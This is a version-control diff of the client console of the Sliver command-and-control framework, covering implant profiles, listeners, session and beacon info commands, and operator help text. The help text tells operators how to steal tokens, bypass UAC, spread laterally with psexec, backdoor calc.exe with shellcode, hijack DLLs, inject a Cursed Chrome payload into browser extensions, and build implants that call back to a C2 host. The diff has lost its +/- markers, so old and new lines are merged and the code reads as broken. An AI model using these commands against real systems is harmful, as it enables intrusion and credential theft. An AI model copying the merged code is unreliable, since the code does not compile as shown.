if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
)
obfuscation := "disabled"
if config.ObfuscateSymbols {
obfuscation = "enabled"
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
profile.Name,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
})
}
table.Flush()
con.Printf("%s\n", tw.Render())
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
con.PrintErrorf("%s\n", err)
return nil
}
return pbProfiles.Profiles
}
// GetImplantProfileByName - Get an implant profile by a specific name
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error %s", err)
con.PrintErrorf("%s\n", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
}
return nil
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for _, profile := range pbProfiles.Profiles {
if strings.HasPrefix(profile.Name, prefix) {
results = append(results, profile.Name)
}
}
return results
}
+15 -3
View File
@@ -45,12 +45,19 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
targetOS := ""
session, beacon := con.ActiveTarget.Get()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
targetOS = beacon.OS
}
if beacon != nil || session != nil {
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
@@ -90,8 +97,13 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
printHeadline(con.App.Config(), headline, con)
con.Printf("%s\n", columnize.Format(output, config))
con.Println()
}
}
con.Println()
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
con.Println()
}
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+79 -41
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -84,7 +84,8 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
@@ -102,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -173,7 +176,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +204,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
profiles generate my-profile-name
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,12 +231,12 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
@@ -263,10 +266,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -278,7 +281,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Downloads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -290,20 +312,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -345,8 +367,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -370,7 +392,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -428,9 +450,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -442,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -482,21 +504,24 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
[[.Bold]]About:[[.Normal]] List created pivots
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
List pivots for all sessions:
pivots-list
List pivots for a specific session:
pivots-list --id 1
List pivots for the current session:
pivots-list
`
pivots
Start a tcp pivot on the current session:
pivots tcp --bind 0.0.0.0
`
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
@@ -653,8 +678,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
@@ -663,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
+32 -10
View File
@@ -28,6 +28,7 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -59,14 +60,15 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"Beacons",
"IOCs",
"Extension Data",
"ID (Short)",
"Extensions",
})
for _, host := range hosts {
var shortID string
@@ -76,29 +78,49 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
if len(hostSessions) == 0 {
return "None"
}
sessionNumbers := []string{}
sessionIDs := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
}
return strings.Join(sessionNumbers, ", ")
return fmt.Sprintf("%d", len(sessionIDs))
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return "Error"
}
count := 0
for _, beacon := range beacons.Beacons {
if beacon.UUID == hostUUID {
count++
}
}
if count == 0 {
return "None"
} else {
return fmt.Sprintf("%d", count)
}
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
+101 -23
View File
@@ -19,26 +19,27 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -49,10 +50,30 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -60,36 +81,93 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%d\n", session.PID)
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.UID)
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.GID)
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.Username)
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+3 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
+21 -6
View File
@@ -20,6 +20,7 @@ package jobs
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -31,15 +32,29 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+25 -9
View File
@@ -21,6 +21,7 @@ package jobs
import (
"context"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,6 +35,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -43,15 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
con.Println()
if err != nil {
+22 -15
View File
